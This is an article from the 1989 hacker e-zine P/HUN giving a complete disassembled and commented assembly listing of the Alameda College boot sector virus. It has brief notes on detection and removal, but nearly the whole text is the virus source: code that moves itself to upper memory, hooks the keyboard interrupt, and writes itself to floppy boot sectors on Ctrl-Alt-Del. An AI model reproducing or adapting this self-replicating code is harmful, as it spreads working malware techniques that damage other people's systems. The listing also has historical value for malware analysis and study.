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- P/HUN Issue #4, Volume 2: Phile 3 of 11
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- A BOOT SECTOR VIRUS
- 5/15/89
-
-
- The following is a disassembled and commented version of the Alemeda
- College Boot infector virus. Courtesy of Southern Cross.
-
-
- ;-----------------------------------------------------------------------;
- ; This virus is of the "FLOPPY ONLY" variety. ;
- ; It replicates to the boot sector of a floppy disk and when it gains control
- ; it will move itself to upper memory. It redirects the keyboard ;
- ; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ;
- ; it will attempt to infect any floppy it finds in drive A:. ;
- ; It keeps the real boot sector at track 39, sector 8, head 0 ;
- ; It does not map this sector bad in the fat (unlike the Pakistani Brain)
- ; and should that area be used by a file, the virus ;
- ; will die. It also contains no anti detection mechanisms as does the ;
- ; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ;
- ; sector 9 because this is common to all floppy formats both single ;
- ; sided and double sided. It does not contain any malevolent TROJAN ;
- ; HORSE code. It does appear to contain a count of how many times it ;
- ; has infected other diskettes although this is harmless and the count ;
- ; is never accessed. ;
- ; ;
- ; Things to note about this virus: ;
- ; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
- ; is its primary (only for that matter) means of reproduction to other ;
- ; floppy diskettes. The only way to remove it from an infected system ;
- ; is to turn the machine off and reboot an uninfected copy of DOS. ;
- ; It is even resident when no floppy is booted but BASIC is loaded ;
- ; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ;
- ; it activates and infectes the floppy from which the user is ;
- ; attempting to boot. ;
- ; ;
- ; Also note that because of the POP CS command to pass control to ;
- ; its self in upper memory, this virus does not to work on 80286 ;
- ; machines (because this is not a valid 80286 instruction). ;
- ; ;
- ; The Norton Utilities can be used to identify infected diskettes by ;
- ; looking at the boot sector and the DOS SYS utility can be used to ;
- ; remove it (unlike the Pakistani Brain). ;
- ;-----------------------------------------------------------------------;
- ;
- ORG 7C00H ;
- ;
- TOS LABEL WORD ;TOP OF STACK
- ;-----------------------------------------------------------------------;
- ; 1. Find top of memory and copy ourself up there. (keeping same offset);
- ; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
- ; 3. Redirect int 9 (keyboard) to ourself in top of memory ;
- ; 4. Jump to ourself at top of memory ;
- ; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ;
- ;-----------------------------------------------------------------------;
- BEGIN: CLI ;INITIALIZE STACK
- XOR AX,AX ;
- MOV SS,AX ;
- MOV SP,offset TOS ;
- STI ;
- ;
- MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512)
- MOV DS,BX ;
- MOV AX,[0013H] ;
- MUL BX ;
- SUB AX,07E0H ; (7C00H+512)/16
- MOV ES,AX ;
- ;
- PUSH CS ;DS = CS
- POP DS ;
- ;
- CMP DI,3456H ;IF THE VIRUS IS REBOOTING...
- JNE B_10 ;
- DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1--
- ;
- B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY
- MOV DI,SI ;
- MOV CX,512 ;
- CLD ;
- REP MOVSB ;
- ;
- MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO
- MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE
- MOV CX,128 ;
- REP MOVSB ;
- ;
- CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
- ;
- PUSH ES ;ES=HI ;JUMP TO OUR HI CODE WITH
- POP CS ; CS = ES
- ;
- PUSH DS ;DS=0 ;ES = DS
- POP ES ;
- ;
- MOV BX,SP ;SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00
- MOV DX,CX ;CX=0 ; DRIVE A: HEAD 0
- MOV CX,2708H ; TRACK 40, SECTOR 8
- MOV AX,0201H ; READ SECTOR
- INT 13H ; (common to 8/9 sect. 1/2 sided!)
- JB $ ; HANG IF ERROR
- ;
- JMP JMP_BOOT ;JMP 0000:7C00
- ;
- ;-----------------------------------------------------------------------;
- ; SAVE THEN REDIRECT INT 9 VECTOR ;
- ; ;
- ; ON ENTRY: DS = 0 ;
- ; ES = WHERE TO SAVE OLD_09 & (HI) ;
- ; WHERE NEW_09 IS (HI) ;
- ;-----------------------------------------------------------------------;
- PUT_NEW_09: ;
- DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024
- ;
- MOV SI,9*4 ;COPY INT 9 VECTOR TO
- MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!)
- MOV CX,0004 ;
- ;
- CLI ;
- REP MOVSB ;
- MOV Word Ptr [9*4],offset NEW_09
- MOV [(9*4)+2],ES ;
- STI ;
- ;
- RET ;
- ;
- ;-----------------------------------------------------------------------;
- ; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ;
- ;-----------------------------------------------------------------------;
- ACK_KEYBD: ;
- IN AL,61H ;RESET KEYBOARD THEN CONTINUE
- MOV AH,AL ;
- OR AL,80H ;
- OUT 61H,AL ;
- XCHG AL,AH ;
- OUT 61H,AL ;
- JMP RBOOT ;
- ;
- ;-----------------------------------------------------------------------;
- ; DATA AREA WHICH IS NOT USED IN THIS VERSION ;
- ; REASON UNKNOWN ;
- ;-----------------------------------------------------------------------;
- TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39
- DB 27H,0,2,2 ; (CURRENTLY NOT USED)
- DB 27H,0,3,2 ;
- DB 27H,0,4,2 ;
- DB 27H,0,5,2 ;
- DB 27H,0,6,2 ;
- DB 27H,0,7,2 ;
- DB 27H,0,8,2 ;
- ;
- ;A7C9A LABEL BYTE ;
- DW 00024H ;NOT USED
- DB 0ADH ;
- DB 07CH ;
- DB 0A3H ;
- DW 00026H ;
- ;
- ;L7CA1: ;
- POP CX ;NOT USED
- POP DI ;
- POP SI ;
- POP ES ;
- POP DS ;
- POP AX ;
- POPF ;
- JMP 1111:1111 ;
- ;
- ;-----------------------------------------------------------------------;
- ; IF ALT & CTRL & DEL THEN ... ;
- ; IF ALT & CTRL & ? THEN ... ;
- ;-----------------------------------------------------------------------;
- NEW_09: PUSHF ;
- STI ;
- ;
- PUSH AX ;
- PUSH BX ;
- PUSH DS ;
- ;
- PUSH CS ;DS=CS
- POP DS ;
- ;
- MOV BX,[ALT_CTRL] ;BX=SCAN CODE LAST TIME
- IN AL,60H ;GET SCAN CODE
- MOV AH,AL ;SAVE IN AH
- AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
- ;
- CMP AL,1DH ;IS IT A [CTRL]...
- JNE N09_10 ;...JUMP IF NO
- MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
- JMP N09_30 ;
- ;
- N09_10: CMP AL,38H ;IS IT AN [ALT]...
- JNE N09_20 ;...JUMP IF NO
- MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
- JMP N09_30 ;
- ;
- N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)...
- JNE N09_30 ;...JUMP IF NO
- ;
- CMP AL,17H ;IF [I]...
- JE N09_X0 ;...JUMP IF YES
- CMP AL,53H ;IF [DEL]...
- JE ACK_KEYBD ;...JUMP IF YES
- ;
- N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME
- ;
- N09_90: POP DS ;
- POP BX ;
- POP AX ;
- POPF ;
- ;
- DB 0EAH ;JMP F000:E987
- OLD_09 DW ? ;
- DW 0F000H ;
- ;
- N09_X0: JMP N09_X1 ;
- ;
- ;-----------------------------------------------------------------------;
- ; ;
- ;-----------------------------------------------------------------------;
- RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!?
- MOV AX,0800H ;AL=0, AH=DELAY ARG
- OUT DX,AL ;
- CALL DELAY ;
- MOV [ALT_CTRL],AX ;AX=0 ;
- ;
- MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR
- INT 10H ;
- MOV AH,2 ;SET CURSOR POS 0,0
- XOR DX,DX ;
- MOV BH,DH ; PAGE 0
- INT 10H ;
- ;
- MOV AH,1 ;SET CURSOR TYPE
- MOV CX,0607H ;
- INT 10H ;
- ;
- MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW)
- CALL DELAY ;
- ;
- CLI ;
- OUT 20H,AL ;SEND EOI TO INT CONTROLLER
- ;
- MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS
- MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!)
- MOV SI,offset BEGIN - 128 ;
- MOV CX,128 ;
- CLD ;
- REP MOVSB ;
- ;
- MOV DS,CX ;CX=0 ;DS=0
- ;
- MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
- MOV [(19H*4)+2],CS ;
- ;
- MOV AX,0040H ;DS = ROM DATA AREA
- MOV DS,AX ;
- ;
- MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0
- INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
- ;
- PUSH DS ;IF BIOS F000:E502 == 21E4...
- MOV AX,0F000H ;
- MOV DS,AX ;
- CMP Word Ptr [0E502H],21E4H ;
- POP DS ;
- JE R_90 ;
- INT 19H ; IF NOT...REBOOT
- ;
- R_90: JMP 0F000:0E502H ;...DO IT ?!?!?!
- ;
- ;-----------------------------------------------------------------------;
- ; REBOOT INT VECTOR ;
- ;-----------------------------------------------------------------------;
- NEW_19: XOR AX,AX ;
- ;
- MOV DS,AX ;DS=0
- MOV AX,[0410] ;AX=EQUIP FLAG
- TEST AL,1 ;IF FLOPPY DRIVES ...
- JNZ N19_20 ;...JUMP
- N19_10: PUSH CS ;ELSE ES=CS
- POP ES ;
- CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
- INT 18H ;LOAD BASIC
- ;
- N19_20: MOV CX,0004 ;RETRY COUNT = 4
- ;
- N19_22: PUSH CX ;
- MOV AH,00 ;RESET DISK
- INT 13 ;
- JB N19_81 ;
- MOV AX,0201 ;READ BOOT SECTOR
- PUSH DS ;
- POP ES ;
- MOV BX,offset BEGIN ;
- MOV CX,1 ;TRACK 0, SECTOR 1
- INT 13H ;
- N19_81: POP CX ;
- JNB N19_90 ;
- LOOP N19_22 ;
- JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC
- ;
- ;-----------------------------------------------------------------------;
- ; Reinfection segment. ;
- ;-----------------------------------------------------------------------;
- N19_90: CMP DI,3456 ;IF NOT FLAG SET...
- JNZ RE_INFECT ;...RE INFECT
- ;
- JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR
- JMP 0000:7C00H ;
- ;
- ;-----------------------------------------------------------------------;
- ; Reinfection Segment. ;
- ;-----------------------------------------------------------------------;
- RE_INFECT: ;
- MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH
- MOV CX,00E6H ; OURSELF
- MOV DI,SI ;
- PUSH CS ;
- POP ES ;
- CLD ;
- REPE CMPSB ;
- JE RI_12 ;IF NOT EQUAL...
- ;
- INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!)
- ;
- ;MAKE SURE TRACK 39, HEAD 0 FORMATTED ;
- MOV BX,offset TABLE ;FORMAT INFO
- MOV DX,0000 ;DRIVE A: HEAD 0
- MOV CH,40-1 ;TRACK 39
- MOV AH,5 ;FORMAT
- JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW !
- ;
- ; <<< NO EXECUTION PATH TO HERE >>> ;
- JB RI_80 ;
- ;
- ;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
- RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0
- MOV BX,offset BEGIN ;TRACK 40H
- MOV CL,8 ;SECTOR 8
- MOV AX,0301H ;WRITE 1 SECTOR
- INT 13H ;
- ;
- PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW)
- POP ES ;
- JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE
- ;
- MOV CX,0001 ;WRITE INFECTED BOOT SECTOR !
- MOV AX,0301 ;
- INT 13H ;
- JB RI_80 ; IF ERROR...JUMP TO BOOT CODE
- ;
- RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"...
- INT 19H ;...FLAG AND REBOOT
- ;
- RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
- DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT)
- JMP JMP_BOOT ;
- ;
- ;-----------------------------------------------------------------------;
- ; ;
- ;-----------------------------------------------------------------------;
- N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS
- ;
- MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG
- MOV BX,0040H ;
- MOV DS,BX ;
- MOV [0072H],AX ; 0040:0072 = RESET FLAG
- JMP N09_90 ;
- ;
- ;-----------------------------------------------------------------------;
- ; DELAY ;
- ; ;
- ; ON ENTRY AH:CX = LOOP COUNT ;
- ;-----------------------------------------------------------------------;
- DELAY: SUB CX,CX ;
- D_01: LOOP $ ;
- SUB AH,1 ;
- JNZ D_01 ;
- RET ;
- ;
- ;-----------------------------------------------------------------------;
- ; ;
- ;-----------------------------------------------------------------------;
- A7DF4 DB 27H,00H,8,2
-
- COUNTER_1 DW 001CH
- ALT_CTRL DW 0
-
- A7DFC DB 27H,0,8,2
-
- END
- ;-----------------------------------------------------------------------;
- ; Hexadecimal representation. ;
- ;-----------------------------------------------------------------------;
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- ;---------------------------------------------------------------------;
- End of commented code for the Alameda College Boot Infector Virus.